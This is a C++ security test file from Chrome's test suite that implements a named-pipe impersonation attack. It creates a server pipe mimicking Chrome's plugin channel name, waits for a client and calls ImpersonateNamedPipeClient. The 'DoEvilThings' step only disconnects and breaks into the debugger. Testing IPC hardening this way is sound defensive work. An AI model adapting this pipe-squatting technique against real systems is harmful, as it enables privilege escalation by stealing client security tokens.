This source file includes following definitions.
- ODSMessageGLE
- ODSMessageGLE
- PipeNameFromCommandLine
- InfoFromPipeName
- MakeServerPipeBase
- MakeServerPluginPipe
- DoEvilThings
- PipeServerProc
- PipeImpersonationAttack
#include <windows.h>
#include <string>
#include <sstream>
#include "chrome/test/security_tests/ipc_security_tests.h"
namespace {
const char kODSMgPrefix[] = "[security] ";
const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
const int kBufferSize = 1024;
#ifdef PIPE_SECURITY_DBG
void ODSMessageGLE(const char* txt) {
DWORD gle = ::GetLastError();
std::ostringstream oss;
oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
::OutputDebugStringA(oss.str().c_str());
}
#else
void ODSMessageGLE(const char* txt) {
}
#endif
bool PipeNameFromCommandLine(std::wstring* pipe_name) {
std::wstring cl(::GetCommandLineW());
const wchar_t key_name[] = L"--channel";
std::wstring::size_type pos = cl.find(key_name, 0);
if (std::wstring::npos == pos) {
return false;
}
pos = cl.find(L"=", pos);
if (std::wstring::npos == pos) {
return false;
}
++pos;
size_t dst = cl.length() - pos;
if (dst <4) {
return false;
}
for (; dst != 0; --dst) {
if (!isspace(cl[pos])) {
break;
}
++pos;
}
if (0 == dst) {
return false;
}
std::wstring::size_type pos2 = pos;
for (; dst != 0; --dst) {
if (isspace(cl[pos2])) {
break;
}
++pos2;
}
*pipe_name = cl.substr(pos, pos2);
return true;
}
bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
std::wstring* channel_id) {
std::wstring::size_type pos = pipe_name.find(L".", 0);
if (std::wstring::npos == pos) {
return false;
}
*parent_id = pipe_name.substr(0, pos);
*channel_id = pipe_name.substr(pos + 1);
return true;
}
HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
kBufferSize, kBufferSize, 5000, NULL);
if (INVALID_HANDLE_VALUE == pipe) {
ODSMessageGLE("pipe creation failed");
}
return pipe;
}
HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
wchar_t pipe_name[MAX_PATH];
swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
return MakeServerPipeBase(pipe_name);
}
struct Context {
HANDLE pipe;
explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) {
}
};
void DoEvilThings(Context* context) {
::DisconnectNamedPipe(context->pipe);
__debugbreak();
}
DWORD WINAPI PipeServerProc(void* thread_param) {
if (NULL == thread_param) {
return 0;
}
Context* context = static_cast<Context*>(thread_param);
HANDLE server_pipe = context->pipe;
char buffer[4];
DWORD bytes_read = 0;
for (;;) {
if (!::ConnectNamedPipe(server_pipe, NULL)) {
if (GetLastError() != ERROR_PIPE_CONNECTED) {
ODSMessageGLE("== connect named pipe failed ==");
continue;
}
}
::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
if (::ImpersonateNamedPipeClient(server_pipe)) {
ODSMessageGLE("impersonation obtained");
DoEvilThings(context);
break;
} else {
ODSMessageGLE("impersonation failed");
}
::DisconnectNamedPipe(server_pipe);
}
delete context;
return 0;
}
}
bool PipeImpersonationAttack() {
std::wstring pipe_name;
if (!PipeNameFromCommandLine(&pipe_name)) {
return false;
}
std::wstring parent_id;
std::wstring channel_id;
if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
return false;
}
HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
if (INVALID_HANDLE_VALUE == plugin_pipe) {
return true;
}
HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
new Context(plugin_pipe), 0, NULL);
if (NULL == thread) {
return false;
}
::CloseHandle(thread);
return true;
}